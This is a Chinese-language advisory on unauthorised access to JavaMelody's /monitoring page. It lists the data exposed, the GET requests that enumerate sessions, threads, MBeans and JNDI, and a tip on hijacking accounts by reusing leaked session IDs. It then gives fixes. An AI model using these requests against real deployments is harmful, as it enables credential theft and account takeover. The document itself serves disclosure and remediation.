JavaMelody 未授权访问漏洞
- [1. 漏洞基础信息](#1. 漏洞基础信息)
- [2. 漏洞影响范围](#2. 漏洞影响范围)
- [3. 漏洞攻击手法](#3. 漏洞攻击手法)
- [4. 漏洞修复](#4. 漏洞修复)
-
- [4.1 生产环境禁用 JavaMelody](#4.1 生产环境禁用 JavaMelody)
- [4.2 在 web.xml 中开启 BASIC 认证](#4.2 在 web.xml 中开启 BASIC 认证)
1. 漏洞基础信息
- 漏洞名称:JavaMelody 监控页面未授权访问漏洞
- 组件简介: JavaMelody 是一款开源的 Java 应用性能监控(APM)组件,广泛应用于 Java EE / Spring 等企业级应用中,用于在生产环境监控应用程序的运行状态。它能够提供 CPU、内存、SQL、HTTP 请求、Session、JVM、线程、缓存等多维度的运行时数据图表,以图形化方式辅助开发者快速定位性能瓶颈
- 漏洞类型:未授权访问(CWE-285:Improper Authorization)
- 漏洞本质: JavaMelody 默认不提供任何访问控制机制,开发者在集成时如果未配置权限校验(如 BASIC 认证、Spring Security、IP 白名单等),监控接口将处于完全公开状态,任意用户均可通过 /monitoring 路径访问监控数据
2. 漏洞影响范围
受影响版本:JavaMelody 全版本(默认配置下均存在此风险)
可能泄漏的内容包括:
- 系统信息:操作系统、JVM 版本、主机名、CPU、内存、磁盘
-HTTP 请求:请求 URL、参数、响应时间、错误日志 - SQL 信息:执行过的 SQL 语句、参数、慢查询
- Session:用户 SessionID、属性、登录用户名
- 线程信息:线程堆栈、当前执行任务
- 应用日志:系统报错堆栈、依赖类信息
- MBean 数据:数据库连接池配置(可能含明文密码片段)、JNDI 信息
3. 漏洞攻击手法
利用 action 参数获取敏感数据,JavaMelody 监控页面通过 action 与 part 参数控制展示内容,攻击者可遍历常见 part 名称:
bash
# 查看所有 HTTP 请求
GET /monitoring?part=httpSessions
# 查看会话详情(可能包含登录用户名)
GET /monitoring?part=sessions
# 查看线程堆栈
GET /monitoring?part=threads
# 查看 MBeans(可能泄露 JDBC URL、密码等)
GET /monitoring?part=mbeans
# 查看 JNDI 树
GET /monitoring?part=jndi
# 查看堆内存信息
GET /monitoring?part=heaphisto
# 查看进程信息
GET /monitoring?part=processes
# 下载完整数据快照
GET /monitoring?format=serialized
通过 ?part=sessions 接口拿到合法用户的 SessionID,将其写入浏览器 Cookie,可能会导致直接绕过登录访问受害者账户
4. 漏洞修复
4.1 生产环境禁用 JavaMelody
如果监控功能不再使用,建议在生产配置中关闭:
yaml
javamelody:
enabled: false
或在 pom.xml 中将 JavaMelody 依赖标记为 provided / 仅在测试环境集成
4.2 在 web.xml 中开启 BASIC 认证
xml
<filter>
<filter-name>monitoring</filter-name>
<filter-class>net.bull.javamelody.MonitoringFilter</filter-class>
<init-param>
<param-name>authorized-users</param-name>
<param-value>admin:StrongPassword@2024</param-value>
</init-param>
</filter>